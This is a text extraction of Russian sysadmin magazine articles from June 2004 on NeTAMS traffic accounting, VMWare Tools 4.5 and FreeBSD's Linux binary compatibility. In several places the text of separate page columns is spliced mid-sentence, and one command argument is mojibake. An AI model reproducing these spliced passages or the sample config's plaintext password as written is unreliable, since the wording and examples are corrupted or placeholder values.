порты которого 80, 808, 8080, 3128, 442;
! tcp-ports – весь tcp-трафик на указанные порты;
! udp-ports весь udp-трафик на указанные порты.
! unit host name linux-gw ip 195.x.x.x acct-policy all-ip – опре-
деляет объект, для которого будет производиться под-
счет трафика. В данном случае объект host с именем linux-
gw, IP-адресом 195.x.x.x (внешний адрес маршрутизато-
ра) и определенной выше политикой all-ip. Таким обра-
зом, с помощью этого правила мы считаем весь IP-тра-
фик, поступающий из Интернета на наш маршрутизатор.
! storage 1 all – передает все данные сервису storage 1.
! service storage 1 – сервис, определяющий тип и пара-
метры доступа к БД, в которой будет сохраняться ста-
тистика.
! service data-source 1 – обеспечивает поступление дан-
ных о трафике внутрь программы. В данном случае оп-
ределен источник данных ip-traffic. Этот источник ра-
ботает с системной очередью, в которую с помощью
iptables попадают пакеты.
! service html 1 – организует автоматическое периоди-
ческое создание статических html-страниц, содержа-
щих информацию о прошедшем трафике. Периодич-
ность создания задается параметром run, в данном слу-
чае она равна 1 минуте.
Теперь запускаем программу в режиме демона:
# netams
и определим правила iptables, с помощью которых дан-
ные будут поступать в программу:
$IPTABLES -t mangle -A POSTROUTING -p all -j QUEUE
$IPTABLES -t mangle -A PREROUTING -p all -j QUEUE
№6(19), июнь 2004
администрирование
Здесь есть один очень важный момент. Дело в том,
что с помощью приведенных выше правил iptables все
входящие и исходящие пакеты поступают в системную
очередь, откуда их будет брать NeTAMS. Однако если в
момент активизации iptables NeTAMS не будет запущен,
пакеты будут поступать в системную очередь и пропа-
дать там, т.к. не будет программы, которая отправит их
обратно. В результате пропадает коннект до сервера.
Поэтому в процессе отладки надо либо сидеть за консо-
лью сервера, либо в случае удаленного администриро-
вания тренироваться на icmp-трафике (в сервисе
processor 0 поменять значение параметра policy target ip
на target icmp, и в правилах iptables аналогично заме-
нить –p all на –p icmp). А порядок запуска такой: сначала
запускаем NeTAMS, потом iptables. Соответственно по-
рядок остановки обратный – сначала останавливаем
iptables, потом NeTAMS.
Каждый объект имеет свой уникальный шестнадцате-
ричный идентификатор (OID), который является ключом
в базе данных. Он генерируется автоматически после пер-
вого запуска, поэтому чтобы статистика не пропала, пос-
ле запуска программы надо подключиться к ней с помо-
щью telnet и выполнить команду save. Она перезапишет
netams.cfg, добавив в него сгенерированные OID. Таким
образом, наш файл будет выглядеть так:
#NeTAMS version 3.1(1801.7) compiled by root@localhost
#configuration built Thu Apr 1 09:25:23 2004
#begin
#global variables configuration
debug none
user oid 01327B name admin real-name "Admin" ↵
crypted $1$$GmbL3iXOMZR57QuGDLv.L1
schedule oid 08FFFF time 1min- action "html"
#services configuration
service server 0
login any
listen 20001
max-conn 6
service processor 0
lookup-delay 10
policy acct oid 036633 name all-ip target ip
restrict all pass local pass
unit host 022EB1 name linux-gw ip 195.x.x.x ↵
acct-policy all-ip
storage 1 all
service storage 1
type mysql
user netamsuser
password passwd
service data-source 1
type ip-traffic
service html 1
path /var/www/localhost/netams
run 1min
client-pages all
Мы рассмотрели простейший случай подсчета трафи-
ка от провайдера до шлюза. В документации, поставляе-
мой с программой, настройка описана более детально.
Например, для каждого пользователя в локальной сети
можно настроить квоту, при превышении которой NeTAMS
автоматически отключит доступ в Интернет. К тому же на
сайте www.netams.com есть русскоязычный форум, в ко-
тором можно найти ответы на любой возникший вопрос.
11
 администрирование

VMWare СО ВСЕМИ УДОБСТВАМИ

АНДРЕЙ БЕШКОВ
С момента публикации первых статей о VMWare Workstation Большинство наших проблем происходит от того, что
прошло уже довольно много времени. Кое-что поменялось сразу же после установки система не смогла найти драй-
в лучшую сторону. Например, вышла новая версия этого веров, подходящих для нашего виртуального железа. Для
программного пакета. Сегодня хотелось бы ответить на примера посмотрим, как обстоят дела в гостевой системе
вопросы читателей, наиболее часто возникающие во вре- Windows 98. Список оборудования выглядит следующим
мя пользования программой. Видимо, пришла пора напи- образом.
сать по возможности краткую инструкцию, рассказываю-
щую о решении проблем, не затронутых нами в предыду-
щих статьях.
Сразу же определимся, что сегодня в отличие от пре-
дыдущих раз, где речь шла о VMWare 4.0, я буду говорить
о VMWare версии 4.5. Это предполагает некоторые несу-
щественные различия, которые пользователи старой вер-
сии должны учесть, если собираются воплощать в жизнь
все, что будет здесь изложено.
В первую очередь мы обсудим комплект дополнительно-
го программного обеспечения, поставляющегося вместе с
VMWare Workstation. Название у него довольно традицион-
ное и, видимо, не станет для вас сюрпризом, это VMWare
Tools.
После первичной инсталляции любой из официально
поддерживаемых гостевых систем многие из читателей Согласитесь, наличие такого огромного количества
столкнулись с тем фактом, что работает все вроде бы ста- желтых вопросиков и восклицательных знаков до добра
бильно, но скорость все же не та, на которую можно было не доведет. Проблема в том, что хоть виртуальные уст-
бы рассчитывать. Попытки проиграть звук или установить ройства и маскируются под реально существующие в при-
разрешение экрана выше, чем 640х480, и цветность бо- роде, но все же стандартные драйвера от производите-
лее 16 цветов ничем хорошим не заканчиваются. Курсор лей железа к ним либо совсем не подходят, либо не спо-
мыши тоже как-то слишком вяло реагирует на наши дви- собны правильно реализовать все требуемые функции.
жения. Конечно, можно работать и так, но все же хочется Поэтому приступим к инсталляции специальных перера-
жить с комфортом. Да и надпись в нижнем левом углу ботанных драйверов, включенных в состав VMWare Tools.
каждой запущенной виртуальной машины прямо намека- Сделать это довольно просто, нужно всего лишь запус-
ет на желательность установки компонента VMWare Tools. тить гостевую систему и, дождавшись окончания загруз-
ки, воспользоваться меню VM → Install VMWare Tools. На
экране появится следующая надпись.

12

На первый взгляд все нормально, но внимательно про-
читав ее, приходишь к выводу, что второе предложение
явно противоречит первому. Получается, что установить
компонент в запущенную систему невозможно, но если
система не работает, то нужно отменить установку и дож-
даться другого раза. Поэтому мы игнорируем все предуп-
реждения и жмем кнопку «Install». После этого диск, пред-
ставляющий виртуальный CD-ROM, будет принудительно
размонтирован и заменен имиджем диска, содержащего
в себе нужную нам версию VMWare Tools. Этот факт как
раз отображен на следующем снимке экрана.
Скорее всего инсталляция запустится автоматически.
Ну а если этого не произойдет, то нужно будет принуди-
тельно выполнить программу setup.exe. Выбираем полный
набор компонентов и жмем «Next».
Дальнейший ход установки интереса для нас не пред-
ставляет из-за своей тривиальности и предсказуемости.
По завершении инсталляции нужно будет перезагрузить
машину. Признаком удачной установки будет появление
синего значка VMWare в системном лотке и на панели уп-
равления.
№6(19), июнь 2004
администрирование
Чаще всего видеодрайвер устанавливается автома-
тически после перезагрузки системы, но иногда этого не
случается. Если у вас именно такая ситуация, то нужно
сделать это вручную. Снова выбираем пункт меню VM →
Install VMWare Tools, чтобы примонтировать к нашему
виртуальному CD нужный образ. Затем проходим через
такую последовательность: Панель управления → Сис-
тема → Устройства → Видеоадаптер → Свойства →
Драйвер → Обновить драйвер. Устанавливаем переклю-
чатели в положение «Отобразить весь список всех драй-
веров, чтобы мы могли выбрать наиболее подходящий
из них». На следующем экране жмем кнопку «установить
с диска». И выбираем драйвер так же, как изображено
на следующем рисунке.
После перезагрузки системы нам станут доступны ре-
жимы с более высоким разрешением и лучшей цветнос-
тью. Следующей проблемой, которую необходимо решить,
является отсутствие драйверов для звуковой карты. Пос-
ле установки VMWare Tools гостевая система считает, что
у нас в качестве музыкального сопровождения использует-
ся карта Creative Ensoniq Audio PCI. К сожалению, из-за
проблем с лицензированием драйвера для нее не вхо-
дят в комплект поставки VMWare. А в связи с тем, что
устройство появилось позднее, чем Windows 98 вышла
на рынок, то и в стандартной поставке этой системы их
тоже нет. Поэтому нам придется посетить сайт http://
www.creative.com либо http://www.americas.creative.com/
support/welcome.asp?centric=15. Выбрать там из списка
продуктов нужный и скачать драйвера.
Самая главная забава состоит в том, что при попытке
установить их в систему мы будем получать вот такую
ошибку.
Увидев ее, я пытался несколько дней с помощью раз-
ных приемов достать из инсталляционного пакета столь
необходимое содержимое. После некоторого количества
плясок с волшебным бубном я наконец-то понял, что вся
загвоздка состоит в том, что для правильного выполне-
ния установки нужно обновить InstallShield.
Думаю, все желающие способны сделать это самосто-
ятельно, ну а те, кому лень, могут взять освобожденный
от оков InstallShield-дистрибутив тут: http://onix.opennet.ru/
files/ensoniq.zip.
Как обычно, после перезагрузки все должно зарабо-
тать как положено, и звук наконец-то появится. Малень-
ким облачком, омрачающим жизнь, будет следующее со-
13
 администрирование
общение, появляющееся на экране при каждом старте си-
стемы.

К сожалению, виртуальная звуковая карта действи-

тельно не поддерживает работу с MIDI. Впрочем, я думаю,
что для большинства пользователей VMWare это не ста-
нет катастрофой. Обновив драйвера всех устройств, с ко-
торыми у нас были проблемы, и закончив все необходи-
мые настройки, давайте посмотрим, как должна выгля- На первой вкладке нас ожидают лишь флажки, управ-
деть таблица системных устройств. ляющие синхронизацией времени между основной и гос-
тевой системами и показом иконки в системном лотке.
Опираясь на свой опыт, могу сказать, что служба синхро-
низации времени работает просто отлично.

На следующей вкладке находится интерфейс, позво-

Установка пакета, обсуждаемого в этой статье, в гос-
тевую систему Windows 2000 выполняется гораздо про-
ще и не требует таких замысловатых телодвижений.
Единственное, что нужно, – это изредка нажимать кноп-
ку «Продолжить» при появлении на экране подобных
запросов.
ляющий управлять подключением устройств. На первый
взгляд такой функционал выглядит излишним, учитывая
тот факт, что все эти действия можно выполнить с помо-
щью главного меню VMWare. Единственное объяснение,
позволяющее оправдать такую избыточность, – это воз-
можность перевести гостевую систему в полноэкранный
режим. В этом случае пользоваться главным меню бу-
дет слегка неудобно из-за необходимости постоянно пе-
реключать видеорежимы. В дальнейшем заострять на
нем внимание не стоит, поэтому переходим к следующей
вкладке.

Думаю, после этого каждый из вас сможет самостоя-

тельно справиться с инсталляцией VMWare Tools в любую
Windows-подобную гостевую систему. Разобравшись со
стандартными возможностями этого пакета, давайте по-
смотрим, какие еще выгоды можно получить от его ис-
пользования. Чтобы сделать это, нужно дважды кликнуть
на иконке VMWare Tools, появившейся в системном лотке
гостевой операционной системы. Она позволяет вручную запускать разные системные
Сразу же после этого нашему взгляду предстает сле- скрипты, которые вызываются при нажатии на кнопки за-
дующая картина. Как вы могли заметить, весь интерфейс, пуска, остановки и прочих управляющих пиктограмм па-
позволяющий управлять VMWare Tools, сосредоточен на нели инструментов. Ее наличие вызвано, видимо, той же
нескольких вкладках. Несколько слов о возможностях каж- самой причиной, по которой разработчики создали и пре-
дой из них. дыдущую вкладку. Не сказать, что эта возможность жиз-

14
 администрирование
ненно необходима, но все же ее использование может
принести некоторое удобство.
Одной из самых больших приятностей, предоставляе-
мых VMWare Tools, являются папки общего доступа
«Shared Folders». Суть этого явления довольно проста. Мы
можем спроецировать любую папку основной операцион-
ной системы или любой сетевой диск, доступный с этой
системы, на сетевую папку общего доступа в гостевой
системе. Соответственно нам легко и просто становятся
доступны функции файлового обмена между основной и
несколькими гостевыми системами. Хотя для тех систем, которые его поддерживают, карти-
Используя глобальное меню VMWare и пройдясь по на существенно не меняется. Если честно, то мне непонят-
пунктам VM → Settings → Option → Shared Folders, попа- но, для чего, собственно, была создана эта вкладка, если
даем в контрольную панель, с помощью которой можно она не позволяет ничем управлять. Кстати, в UNIX-подоб-
управлять этой полезной возможностью. ных гостевых системах эта вкладка вообще отсутствует.
Оставим это досадное недоразумение на совести дизайне-
ров интерфейса. Ну а мы лучше посмотрим, как выглядят
папки общего доступа с точки зрения гостевой системы.

Еще одним моментом, повышающим удобство пользо-

вания, является способность довольно гибкой настройки
свойств папки общего доступа.

Наиболее внимательные читатели уже заметили, что

все эти папки присоединены к гостевой системе как обыч-
ный сетевой диск. По умолчанию он подключается к дис-
ку Z. Впрочем, это легко поддается корректировке. Права
на файлы и папки внутри этого псевдодиска соответству-
ют правам пользователя основной системы, от имени ко-
торого запущена VMWare, что, конечно, не очень удобно,
так как не позволяет разграничить доступ к ресурсу, опи-
раясь на имена пользователей гостевой системы.
Следующей полезной возможностью, о которой стоило
бы поговорить, является механизм сжатия виртуальных
дисков. Отвечает за это дело вкладка Shrink. Как вы могли
бы заметить, у нас есть два типа дисков: те, что поддаются
К сожалению, возможность работы с папками Shared сжатию, и те, кому такое счастье не светит никогда.
Folders поддерживается не всеми гостевыми системами,
а лишь теми, что перечислены ниже:
! Linux с ядром версии 2.4 и выше
! Windows Server 2003
! Windows XP
! Windows 2000
! Windows NT 4.0

Как ни странно, но вкладка Shared Folders, отобража-

емая через VMWare Tools, вообще не дает никакого фун-
кционала для управления этими самыми папками. Для
систем, не поддерживающих такие возможности, она выг-
лядит следующим образом.

№6(19), июнь 2004 15

 администрирование
Давайте разберемся, от чего это зависит. Во-первых
уплотнить можно лишь устройства, являющиеся жестки-
ми дисками виртуальных машин. Соответственно сетевые
диски и съемные устройства остаются за бортом. Жест-
кие диски могут быть трех типов:
! Pre-allocated дисковое пространство выделяется один
раз в момент создания такого диска. Если мы создали
диск размером 2 Гб, то даже будучи пустым, он будет
занимать чуть больше, чем два гигабайта.
! Raw – диски, являющиеся обычными разделами на ре-
альном жестком диске.
! Compact-пространство внутри такого диска выделяет-
ся по мере надобности. Соответственно в процессе ра-
боты он постепенно распухает, пока не дойдет до сво-
его максимального размера. При удалении файлов,
хранящихся внутри виртуального диска, освобождение
места в файле, изображающем этот диск, не происхо-
дит по причине экономии процессорных ресурсов.
Сжатию могут быть подвергнуты только те диски, ко-
торые созданы с опцией compact. Процедура это доволь-
но быстрая. К примеру, на моей машине, обладающей до-
вольно средними по нынешним временам характеристи-
ками, на уплотнение диска размером в 4 Гб было потра-
чено примерно две с половиной минуты, при учете того,
что диск был на три четверти заполнен файлами. Сжатие
диска не только освобождает неиспользуемое простран-
ство, но и ускоряет работу гостевой системы в целом.
Стоит отметить, что наибольшего прироста производи-
тельности файловых операций можно достичь, если с по-
мощью интерфейса управления виртуальными жесткими
дисками сразу же после сжатия запустить дефрагмента-
цию средствами VMWare.
На этом обзор возможностей WMware Tools для госте-
вых систем типа Windows можно считать законченным.
Давайте посмотрим, как реализована эта технология в
UNIX-подобных операционных системах. Для примера
возьмем ALT Linux Master 2.2 и FreeBSD 4.9.
Начало установки практически ничем не отличается от
такого же действия, описанного для Windows. Нужно всего
лишь воспользоваться пунктом меню VM → Install VMWare
Tools, при этом в качестве CD-диска будет присоединен iso-
файл с нужным содержимым. Затем необходимо опреде-
литься, будем ли мы использовать графику внутри вирту-
альной машины. Если да, то для начала нужно установить
XFree86 и настроить его в минимальном режиме. Напри-
16
мер, так, чтобы система XWindow могла работать с разре-
шением 320х200. Вполне работоспособными должны быть
клавиатура и мышь. Только после этого можно приступать
к установке VMWare Tools. Все описываемые действия дол-
жны производиться с правами пользователя root. Для ALT
Linux делается это довольно просто, нужно всего лишь ско-
пировать пакет VMWare-linux-tools.tar.gz из /mnt/cdrom/auto/
в какую-либо временную директорию. Если вы не исполь-
зуете систему autofs, то вам придется вручную примонти-
ровать файловую систему с CD-ROM в нужное место, на-
пример вот так: mount –t iso9660 /dev/cdrom /mnt/cdrom.
Распаковать полученный пакет и, перейдя в папку VMWare-
tools-distrib, выполнить команду VMWare-install.pl. Скрипт
инсталляции, не найдя модуля, подходящего к нашему ядру,
предложит скомпилировать его из исходных текстов. Как
это делать, описано в статье про установку VMWare для
Linux, поэтому заострять внимание на этом не будем. В сущ-
ности, на этом процедуру установки можно считать окон-
ченной. Для FreeBSD все то же самое выполняется доволь-
но просто и безболезненно.
# mount –t iso9660 /dev/cdrom /cdrom
# cd /tmp
# tar zxvf /cdrom/vmware-freebsd-tools.tar.gz
# cd vmware-freebsd-tools
# ./install.pl
Вот и вся инсталляция. В систему установлен старто-
вый скрипт, который запускает нужный сервис автомати-
чески. Мы можем выполнить его вручную, если очень не
терпится, или провести перезагрузку системы, что будет
надежнее. Интересной особенностью скрипта является
определение того, в каком режиме стартовала система –
в гостевом или в реальном, ведь при использовании raw-
дисков систему можно загружать двумя способами. Либо
с помощью VMWare, либо самостоятельно с помощью ка-
кого-нибудь стороннего загрузчика. В качестве такового
могут выступать, к примеру, GRUB, LILO и еще некоторое
количество других программ этой направленности.
Управлять свежеустановленными WMware Tools мож-
но с помощью команды VMWare-toolbox. Интерфейс про-
граммы довольно сильно похож на то, что мы видели в
Windows-версии.
 администрирование
Судя по тем сведениям, что появились на экране, у нас
один раздел с файловой системой NTFS и его размер
8 369 802 сектора. Теперь давайте перейдем к немного
более сложному примеру. Возьмем диск от FreeBSD 4.9.

[tigrisha@tiger freeBSD]$ /usr/bin/vmware-mount.pl ↵

-p ./freeBSD.vmdk

Я думаю, с этим диском тоже все понятно. Ну что же,

давайте попробуем примонтировать первый раздел из
диска Windows Server 2003 к директории /mnt/VMWare/.

# /usr/bin/vmware-mount.pl ./Server2000_Enterprise.vmdk ↵
1 /mnt/vmware

Единственное различие состоит в том, что сжатие дис-

ков имеет право выполнять только пользователь root. Пап-
ки, доступные гостевой Linux-системе, через механизм
Shared Folders будут располагаться в /mnt/hgfs. Интере-
сен тот факт, что попытка работать с такими папками из-
под FreeBSD вызывает мгновенное падение всех запущен-
ных виртуальных машин. По крайней мере такой синдром
проявляется при использовании VMWare 4.5, работающей
под управлением основной Linux-системы.
На десерт хотелось бы поговорить о возможности ра- Как видите, несмотря на страшные сказки о том, что
ботать с содержимым виртуальных дисков гостевых сис- данная программа может не работать с ядрами выше 2.4,
тем напрямую из основной системы. Такой подход смо- в моем случае все работает отлично под ядром 2.4.25.
жет частично компенсировать отсутствие возможности Теперь файловая система будет доступна нам до тех пор,
использовать Shared Folders для переноса файлов. Для пока не будет нажата комбинация клавиш Ctrl+c, преры-
решения этой нелегкой задачи мы будем использовать вающая работу скрипта. Открываем еще одно окно тер-
инструмент под названием VMWare-mount. Он даст нам минала и смело идем в /mnt/VMWare, затем смотрим спи-
возможность примонтировать те или иные разделы, на- сок файлов, находящихся внутри этой директории.
ходящиеся внутри файла виртуального диска, в какую-
либо директорию реальной файловой системы. К сожа- # ll
лению, VMWare-mount существует только для Linux. По-
этому те, кто работает с VMWare под Windows, оказыва-
ются не у дел.
Для начала нужно посмотреть, какие разделы есть
внутри нужного нам виртуального диска. Для выполнения
данного действия мы используем ключ –p. К примеру,
возьмем диск от Windows Server 2003.

$ /usr/bin/vmware-mount.pl -p ./Server2003_Enterprise.vmdk

Все работает как часы. На этом хотелось бы завершить

наш сегодняшний разговор. Надеюсь, что знания, приоб-
ретенные в процессе чтения этой статьи, помогут вам сде-
лать более приятным время, проведенное внутри VMWare.

№6(19), июнь 2004 17

 администрирование
FreeBSD-БИНАРНАЯ
СОВМЕСТИМОСТЬ
С LINUX
Если спросить любого мало-мальски искушенного в ком-
пьютерных системах человека, какая UNIX-система на
данный момент наиболее популярна, большинство, не за-
думываясь, ответят – Linux. Несмотря на то что, по моему
мнению, в мире существует немало систем, которые по
своим объективным качествам превосходят пингвина и его
производные, все же любимцем публики стал именно он.
Такую огромную популярность этой системы можно объяс-
нить несколькими факторами. Linux проще в первоначаль-
ном освоении, чем многие его конкуренты. Диалектов
Linux существует великое множество, и соответственно
каждый алчущий избавления от засилья Microsoft может
найти себе что-то наиболее близкое к представлению об
идеальной системе. В отличие от поклонников BSD-сис-
тем, которые спокойно и тихо делают свое дело, пользо-
ватели Linux довольно активно пропагандируют свое ув-
лечение как образ жизни. В то же время лицензия на ком-
поненты и инструменты, используемые в процессе рабо-
ты, намного либеральнее, чем обычная BSD-лицензия, что
делает систему гораздо привлекательнее для создания
проприетарного программного обеспечения. Многие боль-
шие игроки этого рынка довольно быстро осознали эти
преимущества, поэтому довольно часты случаи, когда зак-
рытое по своей сути программное обеспечение для Linux
раздается гигантами индустрии бесплатно в скомпилиро-
ванном специально для этой системы виде. Единствен-
ной тайной остается исходный текст таких подарков, обыч-
но содержащий те или иные секретные ноу-хау. В то же
время при использовании BSD-систем надеяться на та-
кие жесты доброты не стоит. Такова объективная реаль-
ность, данная нам в ощущениях, и раздувать из-за этого
религиозные войны не стоит. Часто обстоятельства скла-
дываются так, что свободно распространяемых аналогов
закрытого обеспечения не создано и, вероятнее всего, они
никогда не появятся на свет, особенно для BSD. Для меня
столь необходимыми программами являются Citrix ICA
Client, позволяющий работать с сервером Citrix MetaFrame
и Аcrobat Reader.
В то же время производителя вполне можно понять.
Для осуществления квалифицированной поддержки поль-
зователей своей программы, работающей на разных сис-
темах, нужно иметь в своем распоряжении довольно боль-
шое количество инженеров, консультантов и разработчи-
ков. С каждой новой операционной системой список этих
людей растет. Во многих случаях оплачивать такое коли-
чество высококлассных специалистов экономически не-
выгодно. Соответственно производитель снова вынужден
18
Мы с тобой одной крови – ты и я.
Р. Киплинг «Маугли»
АНДРЕЙ БЕШКОВ
сконцентрировать свое внимание на самом выгодном с
его точки зрения варианте операционной системы. В дан-
ном случае комбинация системы и набора программного
обеспечения, с которым клиент желает работать, будут
тесно связаны между собой. Поэтому на рынке довольно
часто встречается ситуация, когда заказчику приходится
работать с операционной системой, с которой он ни за
какие коврижки не стал бы связываться при других об-
стоятельствах. Идти на такие жертвы приходится только
из-за того, что нужная ему программа существует только
для этой и никакой другой системы. Возможно, то, о чем
мы будем говорить сегодня, поможет сгладить эту непри-
ятную зависимость и отсутствие выбора.
Таким образом, наша беседа неспешно подошла к
тому, что успех Linux в определенной мере полезен всем
свободным UNIX-подобным системам. Сегодня мы пого-
ворим о том, как пользователи FreeBSD могут приобщить-
ся к плодам Linux, благополучно заимствуя у своего пинг-
виновидного родственника те программы, которые отсут-
ствуют в нашей продуктовой корзине. Для этого нам по-
требуется всего лишь включить так называемый механизм
бинарной совместимости, изначально встроенный в не-
дра FreeBSD. А это, в свою очередь, позволит запускать и
успешно эксплуатировать большинство Linux-программ
без всякой переделки внутри FreeBSD. Для всех приме-
ров, приводимых в статье, использовалась FreeBSD вер-
сии 4.9, хотя под более младшими версиями системы все
вышеописанное должно работать примерно так же.
Давайте предпримем небольшой экскурс в историю
обсуждаемого вопроса. Началось все в середине1996 года.
Только что вышла FreeBSD 2.1.5 и Linux постепенно начи-
нал набирать популярность в пока что узких кругах своих
энтузиастов. Разработчики FreeBSD довольно быстро за-
метили потенциал Linux и решили, что бинарная совмести-
мость с такой перспективной системой будет весьма кста-
ти. К тому моменту FreeBSD уже была способна запускать
приложения, написанные для MS-DOS и SCO Unix. Поэто-
му для того чтобы работа с Linux-программами стала воз-
можна, не пришлось открывать новые континенты и делать
какие-то кардинальные изменения в коде эмулятора. К на-
чалу 1997 года система эмуляции уже была способна за-
пускать Applixware, скомпилированный для Red Hat Linux.
К тому моменту в разговорах о подсистеме, обеспечиваю-
щей совместимость с Linux, постепенно выкристаллизовал-
ся и приобрел популярность термин, которым разработ-
чики и пользователи пытались описать то, что происхо-
дит внутри программы, запускаемой в чужеродной среде.

К сожалению, на тот момент никто так и не смог предло-
жить названия лучшего, чем «бинарная эмуляция». Как мы
убедимся позднее, при подробном рассмотрении архитек-
туры обсуждаемой системы этот термин не имеет ничего
общего с реальным положением вещей. Но об этом позволь-
те сказать позднее. С каждым годом количество поддер-
живаемых приложений росло за счет все более точной ре-
ализации Linux API. На данный момент существует мнение,
выражаемое разработчиками системы, которое говорит,
что 90% Linux-программ будут работать так же надежно под
управлением FreeBSD, как и под крылом родной системы.
Самыми известными из них являются:
! VMWare Workstation ! Mathematica
! ORACLE ! Maple
! SAP/R3 ! Quake
! Crossover Office ! SAP Notes
! WordPerfect ! Doom
! RealPlayer
Единственная проблема, которая может помешать Linux-
программе спокойно жить в нашей системе, это слишком
глубокое использование файловой системы /proc, так как
ее реализация весьма отличается от системы к системе.
Еще одной западней для Linux-программы могут стать не-
стандартные способы работы с устройствами. В осталь-
ном же система работает на удивление хорошо прозрач-
но и стабильно.
Платой за такую переносимость станет потеря пример-
но 2% быстродействия. Хотя по странному стечению об-
стоятельств некоторые чужие приложения функциониру-
ют под управлением FreeBSD даже быстрее, чем под Linux,
особенно часто такой эффект наблюдается при работе
приложений, записывающих очень много данных на жес-
ткие диски. Видимо, файловая система ufs в данном ас-
пекте является лучшей альтернативой, чем ext3, стандар-
тная для Linux.
Ну что же, давайте приступим к инсталляции единствен-
ного пакета linux_base. Выполнить это немудреное действо
можно несколькими способами. Первый раз это обычно пред-
лагают сделать при первоначальной установке системы.
Если вы пропустили этот момент или ответили нет, то
огорчаться не стоит. Можно выполнить инсталляцию с по-
мощью портов.
# cd /usr/ports/emulators/linux_base
# make install distclean
И добавить в файл /etc/rc.conf следующую строку:
linux_enable= "YES"
Данная строка указывает системе, что во время стар-
та надо загружать модуль ядра linux.ko, отвечающий за
нужную нам функциональность.
№6(19), июнь 2004
администрирование
Можно поступить по-другому. Запускаем программу
/stand/sysinstall и проходим через меню Configure →
Packages, затем необходимо выбрать, откуда будет взят
пакет ftp, http, CD. Затем перейти в раздел emulators и
выбрать все тот же пакет linux_base. По завершении ин-
сталляции не забываем внести изменения в /etc/rc.conf.
После перезагрузки системы можно будет запускать Linux-
программы. Доказательством того, что все идет по плану,
будет следующая надпись, появляющаяся после загрузки
на системной консоли: «Additional ABI support: Linux».
Убедиться, что модуль правильно загрузился, можно,
выполнив команду kldstat. В ответ должны получить что-
то вроде этого:
В директории /usr/compat/linux появится иерархия фай-
лов, созданная по образу и подобию нашей виртуальной
Linux-системы.
Версию установленной системы можно узнать вот так:
В случае если вам не хочется подгружать необходи-
мый модуль, при старте системы можно жестко вкомпи-
лировать его в ядро. Для этого нужно дописать в файл
конфигурации нового ядра опцию:
options LINUX
И затем произвести компиляцию и установку свеже-
собранного ядра. Выбор используемого пути оставляю за
вами, в любом случае бинарная совместимость должна
работать, если вы правильно выполнили мои инструкции.
Закончив с инсталляцией, давайте разберемся, как же
работает эта магическая комбинация, позволяющая за-
пускать вожделенные Linux-приложения. Многие техничес-
ки продвинутые читатели будут удивлены описываемыми
возможностями. И впрямь, несмотря на схожесть идеоло-
гий, две обсуждаемые системы весьма отличаются друг
от друга реализацией своих внутренних API (Application
Programming Interface). Давайте подробнее разберемся в
этом запутанном вопросе. Практически все UNIX-подоб-
ные системы состоят из двух компонентов. Это ядро, от-
вечающее за работу с устройствами, системой безопас-
ности, и системные утилиты вкупе с пользовательскими
программами, которые выполняют свои задачи, опираясь
на системные функции, предоставляемые ядром. К при-
меру, если программа желает открыть какой-либо файл,
19
 администрирование
она вызывает системную функцию open и передает ей не-
которое количество параметров, описывающих то дей-
ствие, которое необходимо выполнить. Ядро, получив зап-
рос, выполняет его, если он может быть осуществлен без
конфликта с системой безопасности, а полученные данные
возвращаются программе, создавшей запрос. Большинство
ядер UNIX-систем имеют схожий набор функций, но в то же
время типы данных, количество передаваемых параметров
и их порядок могут довольно сильно различаться.
Несмотря на то, что в обеих системах для хранения
исполняемых программ используется формат ELF, все же
он слегка различается. Соответственно для запуска Linux-
приложения система должна корректно определить тип ис-
полняемого файла по его магической комбинации, обыч-
но это первые 8 байт заголовка. Затем, пользуясь абст-
рактным классом загрузчика «execution class loader», в
котором содержится таблица всех доступных на данный
момент загрузчиков, система определяет, кому нужно от-
дать его на выполнение. В случае если этот файл оказы-
вается шелл-скриптом, вызывается стандартная команд-
ная оболочка или та ее разновидность, название которой
записано в первой строке выполняемого скрипта. В слу-
чае если нам в лапы попался файл в формате ELF, вызы-
вается специализированный загрузчик этого типа файлов.
На данном этапе загрузчик еще не знает, какой операци-
онной системе принадлежит полученный файл. К приме-
ру, он может быть создан для Linux, Solaris, FreeBSD или
какой-либо другой системы, также имеющей привычку
хранить свои исполняемые файлы в формате ELF. Соот-
ветственно, чтобы узнать, чья это вещь, загрузчик смот-
рит в специальную секцию ELF-файла и ищет известную
ему метку (brand), однозначно описывающую родную для
приложения систему. Если это ему не удается, то процесс
загрузки прерывается, а на экране появляется вот такое
сообщение:
В последнее время такая ситуация встречается очень
редко, но все же стоит знать, как побороть это досадное
недоразумение. Нужно всего лишь вручную промаркиро-
вать исполняемый файл именем родной системы. Для
Linux это будет выглядеть следующим образом.
# brandelf -t Linux èìÿ ïðîãðàììû
Ну а мы продолжим рассмотрение процесса загрузки.
После того как произошло определение принадлежности
файла, в случае если мы работаем с Linux-приложением,
происходит следующее: загрузчик изменяет указатели в
специальной структуре proc, содержащей внутри себя ад-
реса системных функций так, чтобы вместо родных функ-
ций ядра FreeBSD управление получали специальные фун-
кции, реализующие соответствующее поведение ядра Linux.
Таким образом получается, что никакой эмуляцией тут и
не пахнет. Просто в момент вызова Linux-приложением тех
или иных функций система жонглирует указателями, лов-
ко обманывая программу. Процесс Linux-приложения по-
мечается специальным флагом, позволяющим системе от-
20
личать его от обычных FreeBSD-процессов, а модуль ядра
linux.ko, опираясь на вышеуказанную метку, особым обра-
зом обрабатывает сигналы с тем прицелом, чтобы у про-
цесса полностью создалось ощущение жизни внутри род-
ной системы. Еще одним из полезных фокусов является
то, что при попытке Linux-программы выполнить другую
программу, поиск файла будет сначала вестись в директо-
риях /usr/compat/linux, а в случае если ничего подходящего
не нашлось, продолжится уже в корневой файловой систе-
ме. Яркой иллюстрацией таких уловок является поведение
команды uname, родной для FreeBSD и Linux.
Всем желающим предлагается самостоятельно найти
десять отличий.
Разобравшись с хитросплетениями устройства бинар-
ной совместимости, давайте наконец-то перейдем к прак-
тическим занятиям. В качестве первого примера посмот-
рим на инсталляцию Citrix ICA Client. Тут все просто. Бе-
рем с сайта Citrix дистрибутив либо в формате tar.gz (Citrix_
linuxx86.tar.gz), либо в rpm (ICAClient-7.00-1.i386.rpm).
Оба они равнозначны, поэтому давайте посмотрим, как
их устанавливать всеми доступными способами. В слу-
чае с tar.gz нужно распаковать пакет и запустить скрипт
setuwfc. Несмотря на жалобы о том, что FreeBSD не вхо-
дит в список поддерживаемых систем, инсталляция про-
ходит на ура. Все жалобы проистекают от того, что скрипт
вызывает команду uname для определения типа исполь-
зуемой системы, а в связи с тем, что загрузчик не распоз-
нает этот скрипт как Linux ELF-файл, то и подмена вызо-
вов системных утилит не происходит. Соответственно
